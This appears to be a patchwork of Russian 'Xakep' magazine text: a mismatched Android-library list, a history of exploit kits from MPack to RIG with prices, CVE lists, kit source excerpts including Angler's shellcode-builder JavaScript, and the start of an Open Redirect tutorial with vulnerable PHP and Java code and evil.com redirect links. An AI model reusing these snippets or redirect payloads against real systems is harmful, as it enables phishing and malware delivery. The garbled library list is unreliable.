• FeatureAdapter

 — биб лиоте ка для соз дания слож ных кас томных сооб щений;• FBToast
 —  добав лять  раз личные  визу аль ные  эффекты  для фона  вид‐ 

жета (нап ример, блюр);
• view‐effects

 — биб лиоте ка для работы с дат чиками отпе чат ков паль‐ 
цев, спо соб ная работать не толь ко с натив ным API Android, но и с API Sam‐
sung и Meizu (до Android 6.0);

• FingerprintIdentify

  —  пла гин  Android  Studio,  генери рующий  код  —  заг лушки
для Retrofit2 и RxJava2;

• Protein

 — фрей мворк для соз дания модуль ных при ложе ний;• AppJoint
  —  врап пер  для  работы  с  нас трой ками  из  Kotlin,  выпол ненный

с исполь зовани ем делеги рован ных перемен ных;
• Krate

 — реали зация табов при ложе ния в сти ле Snapchat;• SnapTabLayout
  —  прос тая  в  исполь зовании  биб лиоте ка  для  работы

с камерой;
• Android‐GoldenEye

 — биб лиоте ка для работы с дат чиком отпе чат ков паль‐ 
цев;

• Android‐Goldfinger

  —  биб лиоте ка  для  обра бот ки  изоб ражений  на  гра‐ 
фичес ком про цес соре, ана лог GPUImage для iOS;

• android‐gpuimage

 — пла гин для Android Studio, запус каешь, вби ваешь имя нуж ной
биб лиоте ки и получа ешь стро ку, которую необ ходимо добавить в build.gra‐
dle для ее под клю чения.

• ok‐gradle
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На стра ницах «Хакера» ты навер няка встре чал немало упо мина ний об экс пло‐ 
ит‐паках.  Одна ко  за  ред ким  исклю чени ем  речь  шла  о  паках‐одноднев ках,
исче зающих с рын ка спус тя год‐два пос ле пер вого попада ния в лабора тории.
В этой статье мы погово рим о паках‐дол гожите лях, которые упор но отка зыва‐ 
ются ухо дить в прош лое. Некото рые из них лишь набира ют популяр ность.

СТАРАЯ ГВАРДИЯ

MPack-kit
 2006 

 2006–2007 
 1000 дол ларов в год

Год появ ления:

Пик популяр ности:

Це на:

Все началось с небезыз вес тно го MPack‐kit, который появил ся в 2006 году
бла года ря  сооб щес тву  трех  рус ских  прог раммис тов  Dream  Coders  Team.
Идея была в том, что бы соз дать удоб ную в исполь зовании упа ков ку для нес‐ 
коль ких экс пло итов сра зу, при чем уже извес тных или же куп ленных у сто рон‐ 
них  раз работ чиков.  Сто ил  он  отно ситель но  недоро го  (500–1000  дол ларов)
и  час то  обновлял ся.  Так же  сущес тво вала  воз можность  докупать  модули
с новыми экс пло ита ми отдель но и получать под дер жку раз работ чиков.

Все  это  фак тичес ки  дела ет  MPack‐kit  пер вым  дей стви тель но  успешным
теневым биз нес‐про ектом в этой сфе ре, авто ры которо го отве чали за качес‐ 
тво и за свой про дукт. За вре мя его сущес тво вания  (а это поряд ка двух лет
успешной работы) при помощи это го пака толь ко по офи циаль ной ста тис тике
было зараже но свы ше 160 тысяч сер веров. Из гром ких про исшес твий мож но
вспом нить ата ку на Банк Индии в 2007 году:  , что в ней при‐ 
менял ся этот пак и экс пло иты из него, одна ко это так и не было под твержде‐ 
но.

есть подоз рение

INFO

В  MPack‐kit  в  чис ле  про чего  вхо дят  экс пло иты
,  , 

,  ,  , 
,   и  .

CVE‐2006‐0003 CVE‐2006‐0005 CVE‐2006‐
3643 CVE‐2006‐5745 CVE‐2006‐3730 CVE‐
2006‐5198 CVE‐2007‐0015 CVE‐2007‐0038

Са ми  исходни ки  MPack  доволь но  незамыс ловатые.  Начина ются  они  вот
с такой пор ции спа гет ти.

if (strstr($user_agent, "Nav")) $browser = "Netscape";
elseif (strstr($user_agent, "Netscape")) $browser = "NetScape";
elseif (strstr($user_agent, "Firefox")) $browser = "Firefox";
elseif (strstr($user_agent, "Lynx")) $browser = "Lynx";
elseif (strstr($user_agent, "Opera")) $browser = "Opera";
elseif (strstr($user_agent, "WebTV")) $browser = "WebTV";
elseif (strstr($user_agent, "Konqueror")) $browser = "Konqueror";
elseif (strstr($user_agent, "Bot")) $browser = "Bot";
elseif (strstr($user_agent, "MSIE")) $browser = "MSIE";
else $browser = "Unknown";
if (strstr($user_agent, "Windows 95")) $os = "Windows 95";
elseif (strstr($user_agent, "Windows NT 4")) $os = "Windows NT 4";
elseif (strstr($user_agent, "Win 9x 4.9")) $os = "Windows ME";
elseif (strstr($user_agent, "Windows 98")) $os = "Windows 98";
elseif (strstr($user_agent, "Windows NT 5.0")) $os = "Windows 2000";
elseif (strstr($user_agent, "SV1")) $os = "Windows XP SP2";
elseif (strstr($user_agent, "Windows NT 5.1")) $os = "Windows XP";
elseif (strstr($user_agent, "Windows NT 5.2")) $os = "Windows 2003";
else $os = "Unknown";

Пос ле опре деле ния бра узе ра и ОС запус кались скрип ты на JS.

echo "<SCRIPT language=\"javascript\">\n var url=\"".$url."\";\n";
include("rds.js");
echo "\n\n";
include("FolderIcon.js");
echo "</script>";

При помощи них уже и про исхо дит экс плу ата ция.
В  срав нении  с  бли жай шими  пос ледова теля ми  этот  экс пло ит‐кит  имел

край не  про думан ную  админку.  Она  поз воляла  получить  дан ные  о  целях
в удоб ней шем виде.

WebAttacker
 2006 

 2006–2007 
 рекор дно малые 50 дол ларов за самую пер вую копию, 400 дол ларов

в месяц за пос леду ющие доработ ки пер вой вер сии

Год появ ления:

Пик популяр ности:

Це на:

При мер но в это же вре мя раз вивал ся пак WebAttacker, соз датели которо го
не раз вза имо дей ство вали с Dream Coders Team. Он был более дешев (350–
400 дол ларов), одна ко про ект быс тро сдул ся, и обе щан ная к 2007 году вто‐ 
рая  вер сия  так  и  не  выш ла,  нес мотря  на  регуляр ные  обновле ния  до  это го
момен та.

Объ яснить  исчезно вение  мож но  одним  важ ным  отли чием  коман ды  соз‐ 
дателей WebAttacker от Dream Coders Team. «Дрим кодеры» не раз говори ли,
что  не пла ниру ют  занимать ся  никакой прес тупной деятель ностью,  работа ют
на обыч ных «белых» дол жнос тях, а паком занима ются в сво бод ное вре мя. Что
до соз дателей WebAttacker,  то они боль ше скло нялись к сооб щес тву  кибер‐ 
прес тупни ков, при этом сам про дукт не был кон курен тоспо собен для тенево‐ 
го рын ка.

На корот кое вре мя нас ледни ком MPack‐kit стал  IcePack, который во мно‐ 
гом прев зошел пред шес твен ников, но за его быс трым взле том пос ледова ло
столь же быс трое падение. В то вре мя экс пло ит‐паки ста ли обыч ным товаром
на рын ке кибер прес тупни ков. Уже в 2007 году появи лись NeoSploit, Phoenix,
Armitage и Tornado.

И если Tornado и Armitage прак тичес ки не заш ли, то на NeoSploit бук валь но
за пару лет ста ло при ходить ся 30% заражен ных компь юте ров. Он про сущес‐ 
тво вал вплоть до 2011 года, обно вив шись в 2010‐м до вто рой вер сии.

AdPack и FirePack
 2008 

 2008 
 информа ция утра чена

Год появ ления:

Пик популяр ности:

Це на:

В 2008 году выш ли AdPack и FirePack, которые, впро чем, не наш ли сво его
покупа теля и ско ро поч ти бес след но погас ли, нес мотря на их удобс тво. Оба
име ли встро енные крип торы, были очень прос ты в уста нов ке, а так же име ли
ряд  полез ных фич  в  админке  (нап ример, филь тра ция  по  стра нам). Пережив
по паре вер сий, оба исчезли с рын ка.

Во  мно гом  это  мож но  спи сать  на  не  слиш ком  удач ный  год  выхода
на  рынок.  Ведь  в  2008  году  анти вирус ные  ком пании  уже  окон чатель но
утверди лись в сво их опа сени ях по поводу вре да от  экс пло ит‐китов. К это му
вре мени MPack,  IcePack  и  NeoSploit  зарази ли  огромное  количес тво  компь‐ 
юте ров.  На  гра фике  ниже,  сос тавлен ном  одной  из  анти вирус ных  ком паний,
как раз вид но это затишье.

Гра фик ком пании Trend Micro

Eleonore
 2009 

 2009–2010 
 1000 дол ларов в год

Год появ ления:

Пик популяр ности:

Це на:

В 2009 году, нап ротив, появи лись дос той ные экзем пля ры. Как, нап ример,
Eleonore.  Этот  экс пло ит‐кит  стал  хитом  2009–2010  годов.  За  вре мя  его
сущес тво вания  было  выпуще но  шесть  вер сий.  Основны ми  век торами
для атак были фрей мворк Java и про дук ты Adobe.

В отли чие от сво их пред шес твен ников Eleonore не имел жес ткой при вяз ки
к бра узе рам — как раз за счет того, что внед рение зачас тую про ходи ло через
PDF.

INFO

К  2012  году,  ког да  выш ла  пос ледняя  вер сия,
в  Eleonore  вхо дили  , 

,  ,  , 
,  ,  , 
,  ,  , 
,  ,  .

CVE‐2006‐0003 CVE‐2006‐
4704 CVE‐2008‐2463 CVE‐2010‐0188 CVE‐2010‐
0806 CVE‐2010‐1885 CVE‐2010‐4452 CVE‐2011‐
0558 CVE‐2011‐0559 CVE‐2011‐0611 CVE‐2011‐
2462 CVE‐2011‐3521 CVE‐2011‐3544

Phoenix
 2009 

 2009–2012 
 2200 дол ларов в год

Год появ ления:

Пик популяр ности:

Це на:

Сле дующим в том же 2009 году вышел Phoenix, который сос тавил мощ ную
кон курен цию Eleonore. За вре мя сущес тво вания он девять раз обновлял ся и,
веро ятно,  поэто му  был  самым  дорогим  на  рын ке  —  2000–2200  дол ларов.
Для  атак  точ но  так  же  исполь зовались  уста рев шие  вер сии  пла гинов  Adobe
и  Java,  при чем  экс пло итов  для  про дук тов Adobe было  неп рилич но мно го —
целых  семь.  По  некото рым  дан ным,  автор  пака  AlexUdakov  был  арес тован
в 2013 году. По край ней мере, он об этом написал на сай те, где про давал ся
экс пло ит (увы, сей час это сооб щение уже убра ли).

Скрин шот про даж ника

НОВОЕ ДЕСЯТИЛЕТИЕ

BlackHole
 2010 

 2010–2013 
 1500 дол ларов в год

Год появ ления:

Пик популяр ности:

Це на:

Сле дующая  пач ка  дос той ных  вни мания  экс пло ит‐китов  появи лась
в 2010 году. Глав ный из них —  . BlackHole быс‐ 
тро  нашел  сво его  покупа теля  и  уже  к  кон цу  2011  года  стал  лидером
по зараже нию компь юте ров.

пе чаль но извес тный BlackHole

Стра нич ка с BlackHole рас простра нялась в основном при помощи спа ма,
а сам механизм работы был доволь но прост, но эффекти вен. В «Хакере» есть
его под робное опи сание в статье «
» за 2011 год.

Раз бира ем внут реннос ти BlackHole exploit
kit

Все  исходни ки  BlackHole  были  защище ны  при  помощи  IonCube,  что
отчасти  сде лало  BlackHole  в  сво ем  роде  новатор ским.  Дело  в  том,  что
до него прак тичес ки все экс пло ит‐киты заимс тво вали друг у дру га наибо лее
удач ные кус ки кода, и это прос лежива ется в исходни ках боль шинс тва из них.

BlackHole на тот момент имел самый дру жес твен ный интерфейс. К тому же
в  апдей тах  появ лялись  дей стви тель но  полез ные  новов ведения.  Нап ример,
не  было  перег рузки  экс пло ита ми:  бук валь но  пос ле  пер вого  же  обновле ния
оста лись  толь ко  самые  эффектив ные.  Так же  была  воз можность  редирек та
тра фика пос ле зараже ния в дру гое мес то наз начения. То есть, по сути, сам
экс пло ит‐кит мож но было исполь зовать меж ду источни ком и целью. Помимо
это го,  BlackHole  мог  бло киро вать  неугод ные  реферер‐заголов ки,  поль‐ 
зовате лей с Tor или же кон крет ные диапа зоны IP‐адре сов.

Nuclear
 2009 

 2011–2012 
 900 дол ларов в год

Год появ ления:

Пик популяр ности:

Це на:

В  это  же  вре мя  в  пол ноцен ном  виде  появил ся  экс пло ит‐кит Nuclear.  Его
пер вая вер сия выш ла еще в кон це 2009 года, но она была откро вен но сырой.
Nuclear  на  тот  момент  не  подавал  осо бых  надежд,  одна ко  уже  к  2012  году
стал  лидером.  Код  Nuclear  мак сималь но  обфусци рован,  в  нем  мно го  объ‐ 
явленных в раз ных мес тах перемен ных и фун кций, которые не исполь зуют ся.

Ос новны ми век торами ата ки все так же оста лись про дук ты Adobe. Вооб‐ 
ще,  пак  Nuclear  содер жал  пре иму щес твен но  све жие  экс пло иты,  что,  веро‐ 
ятнее  все го,  и  поз волило  ему  стать  нас толь ко  популяр ным  и  про дер жать ся
на пла ву вплоть до 2016 года. Так же, что бы усложнить ана лиз самого про цес‐ 
са работы, Nuclear исполь зовал трехс тра нич ную пере адре сацию.

Sweet Orange
 2012 

 2013–2015 
 2500 дол ларов в год

Год появ ления:

Пик популяр ности:

Це на:

Сво его  рода  всплеск  экс пло ит‐китов,  при чем  круп ных  и  эффектив ных,
про изо шел в 2012 и 2013 годах. В 2013‐м, в час тнос ти, нес мотря на мень шее
количес тво  новых  экс пло ит‐китов,  их  активность  вырос ла.  Тре мя  глав ными
паками 2012 года мож но наз вать Sweet Orange, Styx и FlashPack.

Sweet  Orange  появил ся  в  2012  году,  далеко  не  сра зу  стал  популяр ным,
одна ко  содер жал  плот ный  кос тяк  из  экс пло итов  для  Java,  которые  обош ли
вни мани ем  дру гие  экс пло ит‐киты  того  года,  а  имен но  , 

,   и  .
CVE‐2012‐1723 CVE‐

2013‐2424 CVE‐2013‐2460 CVE‐2013‐2471
Sweet Orange  регуляр но  обновлял ся,  в  2014  году  в  него  добави ли 

,  ,  .  Про бив  у  это го  пака  был  сред‐ 
нень кий,  поряд ка  10%,  одна ко  имел ся  ряд  при ятных  фун кций.  Нап ример,
встро енный  крип тор  iframe  и  под клю чен ный  API  Scan4you,  бла года ря  чему
мож но было усле дить за чис тотой кода и рас простра няемо го фай ла.

CVE‐
2014‐6332 CVE‐2014‐0515 CVE‐2014‐0569

Скрин шот крип тора

До появ ления прак тичес ки леген дарных экс пло ит‐китов Sweet Orange не сда‐ 
вал  позиции.  К  при меру,  в  2014  году,  по  дан ным  Trend  Micro,  око ло  35%
заражен ных компь юте ров пос тра дали имен но из‐за него.

Styx
 2012 

 2012 
 3000 дол ларов

Год появ ления:

Пик популяр ности:

Це на:

Styx,  вышед ший  вслед  за Sweet Orange,  вспых нул  и  так же быс тро  затух.
Это был акту аль ный, мощ ный,  удоб ный экс пло ит‐пак, содер жавший акту аль‐ 
ные  экс пло иты  вро де    по  соседс тву  с  откро вен ным  старь ем
типа  . Одна ко это не мешало ему быть эффектив ным.

CVE‐2013‐2551
CVE‐2010‐0188

За раже ние «Стик сом»

С  мар та  по  май  2013  года  Styx,  по  дан ным McAfee,  заразил  колос саль ное
количес тво компь юте ров. Но почему тог да он затух уже к сле дующе му году?
Дело в том, что Styx активно детек тился топовы ми анти виру сами — «Кас пер‐ 
ским» и NOD32.

При  этом  в  Styx  была  фун кция  про вер ки  на  детек ты,  но  не  было  встро‐ 
енной  фун кции  обфуска ции  полез ной  наг рузки.  Это  мож но  было  сде лать
через  офи циаль ный  сайт.  Одна ко  сто имость  в  3000  дол ларов  не  слиш ком
оправдан на для такого сер виса. В ито ге активность упа ла, а про ект исчез.

FlashPack
 2012 

 2013 
 информа ция утра чена

Год появ ления:

Пик популяр ности:

Це на:

FlashPack  по  не  извес тным  никому  при чинам  уда рил  точеч но  —
в основном по япон ским и аме рикан ским компь юте рам. В свя зи с чем япон‐ 
ские  ана лити ки  быс тро  выяви ли  нес коль ко  основных  отли читель ных  черт
в  наз вани ях  зап росов,  которые  под гру жались  при  посеще нии  заражен ной
стра ницы. И нес мотря на  то,  что  в  паке были  топовые  , 

 и  , по боль шому сче ту на рын ке он так и не загорел‐ 
ся. В 2014  году FlashPack  занимал все го 4% сре ди ини циато ров зараже ния
компь юте ров в мире.

CVE‐2014‐0497 CVE‐
2014‐0515 CVE‐2014‐0569

Magnitude
 2013 

 2013 
 информа ция утра чена

Год появ ления:

Пик популяр ности:

Це на:

Вкрат це мож но  упо мянуть Magnitude. Нес мотря на  то  что  в  него  вхо дили
не  слиш ком  све жие  для  сво его  года  экс пло иты  (а  имен но  CVE‐2011/CVE‐
2012),  он  имел  край не  инте рес ный  механизм  обфуска ции:  Magnitude  соз‐ 
давал име на под домена каж дые пять минут. К тому же он брал количес твом
экс пло итов — толь ко для Flash их было око ло шес тнад цати.

Про бив был, таким обра зом, высоким и доходил до 20%. Так же пак умел
филь тро вать  тра фик  от  стран,  под держи вающих  экс тра дицию  прес тупни ков
в Рос сию. Одна ко сис тема опла ты была откро вен но мут ной, пак сли вал часть
тра фика соз дателям, а это не слиш ком при ветс тву ется на рын ке кибер прес‐ 
тупни ков.

Neutrino
 2013 

 2013–2016 
 450 дол ларов в месяц

Год появ ления:

Пик популяр ности:

Це на:

При мер но в  то же вре мя появил ся Neutrino — ничем не при меча тель ный
экс пло ит‐кит  с  неболь шим  количес твом  экс пло итов,  одна ко  акту аль ных,
а  имен но  ,  ,  .  В  даль нейшем  он
нес коль ко  раз  эво люци они ровал  и  даже  занимал  высокие  позиции
по количес тву заражен ных компь юте ров, но не выдер жал кон курен ции.

CVE‐2012‐1723 CVE‐2013‐2551 CVE‐2013‐0431

Angler
 2014 

 2014–2016 
 500 дол ларов в месяц

Год появ ления:

Пик популяр ности:

Це на:

В 2014 году появи лись такие мас тодон ты, как Angler и понача лу пода ющий
сла бые надеж ды RIG. До 2016 года они шли в ата ку в ком пании с Nuclear. An‐
gler появил ся в кон це 2014 года и уже в 2015 году, по дан ным отче та Trustwave
Global Security,  занимал вто рое мес то по  количес тву  заражен ных  компь юте‐ 
ров (17%), кон курируя толь ко с не сда ющим позиции Nuclear.

Старт  у  Angler  был  дей стви тель но мощ ный.  Уже  в  пер вой  вер сии  содер‐ 
жалась  мас са  фун кций.  Во‐пер вых,  перед  началом  работы  про веря лось
наличие защит ных механиз мов, а имен но знат ный спи сок анти виру сов, вир‐ 
туаль ные машины, Fiddler и про чие сниф феры. Пос ле про вер ки Angler запус‐ 
кал  про цес сы  обфуска ции,  которые  были  соз даны  с  осо бым  вни мани ем.
К при меру, экс пло иты к Flash Player кодиро вались при помощи Base64, шиф‐ 
ровались при помощи RC4, а содер жимое тща тель но скры валось с помощью
ActionScript.

Схе ма

При  этом  сам  код  не  изо било вал  пус тыми  фун кци ями,  как  у  паков  ран него
поколе ния,  а  прос то  был  доволь но  наг ружен ным  и  гра мот но  написан ным.
Вот,  к  при меру,  выдер жка,  резуль тат  которой  в  даль нейшем  декоди рует ся
шелл‐кодом для экс плу ата ции  .CVE‐2014‐6332

function build_shellcode() {
   var payloadURL = 'http://' window.location. host ’/’;
   // Add path stored in landing page array
   payloadURL += debase64(window.getpageArrayl());
   // Payload decryption key
   var Wttqe = ’Du930BgkbfzGvmFF’;
   var VkSkgk = Math.floor(Math.random() * (6 ‐ 3) + 3);
   var dotDLL = '%2E%64%6C%6C', 
       nullvar = '%00';
   if (payloadURL.length > 200) return null;
   while (payloadURL.length < 200) { 
       payloadURL += unescape(nullvar);
   }
   if (Wttqe.length > 16) return null; 
   while (Wttqe.length < 16) {
       Wttqe unescape(nullvar);
   }
   payloadURL += unescape(nullvar);
   Wttqe += unescape(nullvar);
   return unescape(shellcode_partl + encData(payloadURL) + shellc
ode_part2 + encData( Wttqe) + shellcode_part3 + '%u0000')
}

Angler  регуляр но  чис тили  при  попада нии  в  базы  анти вирус ных  сис тем,  что
помог ло  ему  занять  лидиру ющую  позицию  и  не  ухо дить  с  нее  вплоть
до 2016 года.

Как работа ют экс пло ит‑киты
Прин цип  работы  самих  упа ковок  схож.  Понача лу  это  были  скрип ты  на  PHP
или пере адре сация с заражен ной стра ницы или спам‐рас сылки на стра ницу,
орга низу ющую  выпол нение  экс пло итов.  Сей час  это  чаще  все го  JavaScript.
Помимо это го, экс пло ит‐киты внед ряют ся при помощи ста рого доб рого спу‐ 
фин га DNS.

В фун кции шелл‐кода вхо дит ска чива ние и запуск целево го вре донос ного
ПО, которое зада ет сам рас простра нитель.

Са мо собой, такой алго ритм работы повыша ет вред от экс пло итов в разы,
так как паки регуляр но обновля ются, а их коды обфусци руют ся. Более того, те
же  про дук ты  ком пании  Adobe,  которые  находят ся  под  уда ром  прак тичес ки
с  появ ления  пер вых  экс пло ит‐китов,  до  сих  пор  в  чис ле  ведущих  кол лекций
уяз вимос тей.

ВНЕЗАПНЫЙ СПАД

К  2016  году  про изо шел  круп ный  спад  активнос ти  экс пло ит‐китов.  Пер вым
это  заметил  ана литик  Брэд  Дун кан  из  Palo  Alto  Network.  Из  дей стви тель но
круп ных  игро ков  оста лись  толь ко  раз работ чики  RIG,  который  не  сда вал
позиции с момен та появ ления (а это, на секун дочку, 2013 год).

По чему так про изош ло? Дело в том, что либо боль шинс тво экс пло ит‐китов
поп росту  затух ли  из‐за  пло хой  под дер жки,  либо  за  их  соз дателя ми  «уже
выеха ли», как было с раз работ чиком BlackHole. Одна ко RIG вышел на рынок
в пик популяр ности форумов для скрип ткид ди и до сегод няшне го дня име ет
край не дру желюб ную тех поддер жку.

WARNING

Вся информа ция об экс пло ит‐ките RIG и его акту‐ 
аль нос ти  пре дос тавле на  исклю читель но  в  озна‐ 
коми тель ных  целях,  не  пытай тесь  его  исполь‐ 
зовать.

RIG. ЖИВЕЕ ВСЕХ ЖИВЫХ

На  офи циаль ном  сай те‐про даж нике  в  Рос сии  экс пло ит‐кит  RIG  изна чаль но
был  заяв лен  как  регуляр но  обновля емый.  Сре ди  про чих  услуг  перечис лена
чис тка и обфуска ция, а так же чис тка по тре бова нию. Покупа телям выда ются
чис тые  и  сер тифици рован ные  домены,  которые  не  находят ся  ни  в  одном
блек‐лис те  и  не  вызыва ют  в  поль зователь ском  бра узе ре  сооб щений
о недове рен ном сер тифика те.

Це на  (500  дол ларов  за  месяц)  не  изме нилась  с  2013  года  по  сей  день,
одна ко  обновле ния  по‐преж нему  выходят  доволь но  регуляр но  (пос леднее
было  в  кон це  мая —  добави ли  ).  В  2015  году  в  Сеть  уте кали
исходни ки,  которые,  нес мотря  на  отсутс твие  самих  экс пло итов,  выг лядели
дос той но.

CVE‐2018‐8174

Пос ле  это го  RIG  выживал  на  рын ке  как  мог,  в  том  чис ле  заимс твуя
исходни ки  у  дру гих  раз работ чиков.  Нап ример,  у  Neutrino,  который
по  популяр ности  уже  далек  от  RIG,  была  поза имс тво вана  модель  исполь‐ 
зования  опре делен ных  про цес сов  в  сис теме.  Так же  RIG  перенял  у  Angler
методы обфуска ции.

Еще  в  самом  начале  авто ры  RIG  вве ли  стро гую  полити ку  по  отно шению
к  работе  с  рос сий ским  тра фиком. Это  помог ло  избе жать  вни мания  со  сто‐ 
роны  рос сий ских  пра воох ранитель ных  орга нов  и  положи тель но  ска залось
на  кли енту ре. Заметим, одна ко,  что RIG — это ско рее дешевый и сер дитый
вари ант, так как в его работе немало пог решнос тей.

Пос ле спа да активнос ти про чих экс пло ит‐китов дешевиз на RIG прив лекла
к  нему  рас простра ните лей  низ кокачес твен ного  вре донос ного  ПО.  Уже
в янва ре 2017 года, по дан ным ана лити ка Брэ да Дун кана, RIG при нял учас тие
в  дос тавке  мно жес тва  тро янов‐вымога телей  в  рам ках  39  раз личных  кам‐ 
паний.

К  середи не  прош лого  года  активность  RIG  поутих ла,  во  мно гом  в  свя зи
с тем, что исходни ки утек ли в Сеть и анти вирус ные ком пании разоб рали обо‐ 
лоч ку RIG вдоль и поперек. Осталь ные паки к это му вре мени тоже уже ушли
с рын ка.

Од нако  RIG  зата ился  толь ко  до  того  момен та,  ког да  низ кокачес твен ные
стил леры,  май неры  и  клип перы  сто имостью  (без  шуток)  500–1500  руб лей
перес тали  сами  по  себе  при носить  дос той ное  количес тво  жертв  и  логов
с  того  тра фика,  который  до  это го  успешно  впа ривал ся  малолет ним  кибер‐ 
прес тупни кам на каж дом теневом форуме.

Бла года ря RIG даже самые низ копроб ные стил леры вро де Nocturnal Steal‐
er, име юще го кри вой лог и неп рилич но низ кую цену, получи ли сво его покупа‐ 
теля и сво их жертв.

Имен но  тог да  на  перед ний  план  выш ла  дешевиз на  RIG,  а  так же  воз‐ 
можность рас простра нять сра зу два вре доно са одновре мен но. Это при вело
к  нему  кар дер ское  сооб щес тво:  появи лась  пот ребность  рас простра нять
в  довесок  к  стил лерам  кей лог геры  или  же  связ ки  из  стил лера  и  бот нета
с HVNC.

Бла года ря  под дер жке,  которая  дает  прак тичес ки  пошаго вые  инс трук ции,
и мно гочис ленным ману алам по  чис тке  пуб лично дос тупных  ста бов  с  целью
обфуска ции  вре донос ного  ПО  мно гие  начина ющие  кибер прес тупни ки  вли‐ 
вают ся  в  серь езные  дела,  нес равни мые  с  уго ном  игро вых  акка унтов  и  про‐ 
чими шалос тями.

Од новре мен но  RIG  стро ит  вок руг  себя  обширную  инфраструк туру
из  допол нитель ных  сер висов.  Аме рикан ские  хос тинги,  как  извес тно,  час то
исполь зуют ся  кибер прес тупни ками  по  все му  миру  для  раз мещения  чис тых
доменов для экс пло ит‐китов.

В Рос сии так называ емые пуленеп робива емые хос тинги тоже проц вета ют,
делая огромные нацен ки на свои услу ги. Обыч но они ста вят сер веры в дру гой
стра не, что бы избе жать стол кно вения со спец служ бами РФ.

Су щес тву ет  и  немало  мел ких  услуг  вро де  вскры тия  получен ных  со  стил‐ 
леров  фай лов  wallet.dat —  офлай новых  кошель ков  с  крип товалю тами.  Фак‐ 
тичес ки  это  отдель ная  вет ка  кибер прес тупно го  рын ка,  которая обслу жива ет
вла дель цев стил леров.

ПОСЛЕДСТВИЯ RIG

Все  это  при вело  к  неп рият ным  пос ледс тви ям.  Во‐пер вых,  урон  от  даже
корявых крип толоке ров и стил леров прос то немыс лим, при чем как для жертв,
так и для рас простра ните лей (огромное количес тво молодых людей получи ли
впол не зас лужен ные сро ки уже в этом году).

Так же  сто ит  отме тить  новый  всплеск  упа ковок  для  экс пло итов,  таких
как   или  .Fallout Underminer

Хо тя они исполь зуют скуд ное количес тво экс пло итов, сре ди которых бук‐ 
валь но  один‐два  за  этот  год,  в  нынеш них  усло виях  у  них  есть  все  шан сы
занять  свое  мес то.  Тот  же  Fallout  име ет  два  све жих  CVE:    и 

, при чем непос редс твен но до заг рузки вре доно са ана лизи рует наличие
песоч ниц,  вир туаль ных  сред  и  лишь  потом  заг ружа ет ПО,  тем  самым  сво дя
к миниму му воз можность попада ния кода под нож.

2018‐8174 2018‐
4878

Нель зя  исклю чать,  что  это  паки‐одноднев ки,  которые  прос то  на  вре мя
заняли  рынок.  Воз можно,  экс пло ит‐паки  ждет  еще  более  насыщен ное
будущее, чем опи сан ное здесь прош лое.
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ВЗЛОМ

Уяз вимос ти  типа  Open  Redirect  поз воля ют  перенап равить
поль зовате ля  на  фишин говый  сайт  или  зас тавить  ска чать
рут кит под видом полез ного ПО. Нес мотря на всю опас ность
этих  уяз вимос тей,  зак рывать  их  не  спе шат  даже  в  Google.
Давай раз берем ся, почему так выш ло и как работа ют раз ные
ата ки с Open Redirect.

Ре директ  поз воля ет  нап равить  поль зовате ля  с  одно го  сай та  на  дру гой  —
это  зна ют  все.  Что же  тог да  такое Open Redirect  («откры тое  перенап равле‐ 
ние»)? Зву чит как наз вание какого‐то сво бод ного стан дарта, но в реаль нос ти
так  называ ют  уяз вимость,  которая  поз воля ет  незамет но  нап равить  поль‐ 
зовате ля на любой сайт с доверен ного домена.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

В  основном  этот  баг  исполь зует ся  для  фишин га.  Зло умыш ленник  перенап‐ 
равля ет с  уяз вимого доверен ного сай та на свой фишин говый сайт и  кра дет
дан ные.  Эта  уяз вимость  активно    при  ата ках
на государс твен ные сай ты.

при меня лась  хакера ми

Пред ставь, что получит ся, если сайт apple.com ста нет раз решать редирект
на apple.evil.com. Поль зователь будет думать, что он находит ся на доверен‐ 
ном  сай те,  но  при  этом  оставлять  свои  дан ные  на  сай те  зло умыш ленни ка.
Кста ти, подоб ную уяз вимость  .уже находи ли

А  что,  если  пря мо  сей час  в  Google  откры та  такая  уяз вимость?  Поль‐ 
зователь заходит на свою поч ту по ссыл ке google.com, вво дит дан ные. Воз‐ 
можно, он про веря ет адресную стро ку бра узе ра и URL, но в ней все в поряд‐ 
ке. Затем попада ет на стра ницу с пись мами и видит при выч ную ежед невную
кар тину. Как час то в этот момент поль зовате ли про веря ют адресную стро ку?
А ведь сви репые рус ские хакеры не дрем лют!

РАЗБИРАЕМСЯ ГЛУБЖЕ В OPEN REDIRECT
К при меру, у нас есть доверен ный сайт  . Но в нем есть уяз‐ 
вимость Open Redirect,  которая  будет  выг лядеть  так: 

.  Пос ле  авто риза ции  на  стра нице
сай та поль зователь перенап равля ется на  .

http://site.com/
http://site.com/lo‐

gin?redirectUrl=http://site.com/auth
http://site.com/auth

Поп робу ем  заменить    на  .
Получит ся  ссыл ка 

. Если мы перей дем по этой ссыл ке пос ле авто риза ции, а нас нап равля‐ 
ет на  , зна чит, сайт име ет уяз вимость Open Redirect.

http://site.com/auth http://evil.com/
http://site.com/login?redirectUrl=http://evil.

com/
evil.com

От куда появ ляет ся уяз вимость?
Ад минис тра торы  сай тов  обыч но  либо  не  зна ют  о  такой  уяз вимос ти,  либо
не  све ряют  URL  перенап равле ния  с  раз решен ным  белым  спис ком,  сос‐ 
тавлен ным  заранее.  Уяз вимый  код  на  сер вере  будет  выг лядеть  приб‐ 
лизитель но так (при мер на PHP):

<?php
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);
?>

Тог да  уяз вимая  ссыл ка  будет  такой: 
.

http://site.com/example.php?
url=http://evil.com

А вот ана лог на Java — здесь тоже сер верное перенап равле ние.

public class RedirectServlet extends HttpServlet {
 protected void doGet(HttpServletRequest request, HttpServletResp

onse response) throws ServletException, IOException {
   String query = request.getQueryString();
   if (query.contains("url")) {
     String url = request.getParameter("url");
     response.sendRedirect(url);
   }
 }

}

Сер вер  получа ет  зап рос GET  с  парамет ром    и  перенап равля ет  бра узер
на адрес, передан ный в URL.

url

Что  до  перенап равле ния  на  сто роне  кли ента,  то  оно  может  выг лядеть
как‐то так:

<a href="http://bank.site.com/redirect?url=http://evil.com">Click 
here to log in</a>

Поль зователь дума ет, что ссыл ка безопас ная, так как начина ется с bank.site.‐
com.  Одна ко  пос ле  перехо да  он  будет  перенап равлен  на  похожий  фишин‐ 
говый сайт.

Как самому най ти уяз вимость?
Вни матель но  прой тись  по  всем  ссыл кам  сай та  и  най ти  в  них  парамет ры
перенап равле ния.

•

